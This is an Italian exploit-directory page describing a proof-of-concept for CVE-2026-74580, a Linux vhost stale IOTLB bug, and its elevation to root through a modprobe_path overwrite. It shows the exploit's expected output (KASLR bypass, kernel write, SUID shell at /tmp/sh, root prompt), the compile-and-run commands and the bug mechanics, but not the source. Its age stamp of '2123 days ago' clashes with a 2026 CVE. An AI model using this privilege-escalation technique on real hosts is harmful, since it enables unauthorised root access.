Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-74580 — Proof-of-concept in C per CVE-2026-74580: sfrutta una cache obsoleta dei metadati IOTLB del vhost per sovrascrivere modprobe_path e ottenere l'escalation a root su host Linux x86-64. | Kitploit
Strumenti/GitHubGitHub/abc00012345/cve-2026-74580
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPaper e RicercaBinary Exploitation
GitHubabc00012345/cve-2026-74580

CVE-2026-74580

Proof-of-concept in C per CVE-2026-74580: sfrutta una cache obsoleta dei metadati IOTLB del vhost per sovrascrivere modprobe_path e ottenere l'escalation a root su host Linux x86-64.

Vedi Repository
2123 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vghost — CVE-2026-74580

Codice originale e file readme da: https://github.com/zhangutah/security-research

escalatione dei privilegi su linux

Output atteso:

./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"

[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920

[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920

[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after:  "/tmp/pwn"

[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...

sh-5.3# whoami
root

Descrizione

vq->meta_iotlb[] memorizza nella cache la mappatura IOTLB dietro ciascuna regione di metadati del vring (desc / avail / used). VHOST_SET_VRING_ADDR e VHOST_SET_VRING_NUM non azzerano quella cache. Con un IOTLB del dispositivo collegato, un vq attivo può tradurre un vring riconfigurato tramite una mappatura che non lo copre più. vhost_vq_meta_fetch() non esegue alcun controllo di intervallo, e il risultato viene passato a __copy_to_user() / __copy_from_user().

La stessa cache obsoleta è raggiungibile da un guest quando vhost viene eseguito in modalità device-IOTLB (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) e il guest reimposta una virtqueue tramite VIRTIO_F_RING_RESET. Quel percorso non è oggetto di questo PoC.

  • CVE: CVE-2026-74580 (CVSS 8.8)
  • Writeup: Vghost
  • Fix: de845981da67

poc.c è un PoC per host x86-64 contro /dev/vhost-vsock. Apre una shell di root con euid=0. Crea /tmp/sh come suid root. Elimina il file dopo averlo testato manualmente!

Utilizzo

cc -O2 -Wall -Wextra -o poc poc.c
./poc

La ricerca dei simboli utilizza, nell'ordine: $SYSTEM_MAP, /boot/System.map-$(uname -r), /usr/lib/modules/$(uname -r)/build/System.map. modprobe_path deve essere presente; asm_exc_divide_error ricade su un indirizzo statico se mancante.

Il processo deve essere in grado di aprire /dev/vhost-vsock. Alcune immagini forniscono quel nodo con permessi 0666; altre con 0660 root:kvm.

Eseguire solo su un sistema di test usa e getta di tua proprietà.

Scarica lo strumento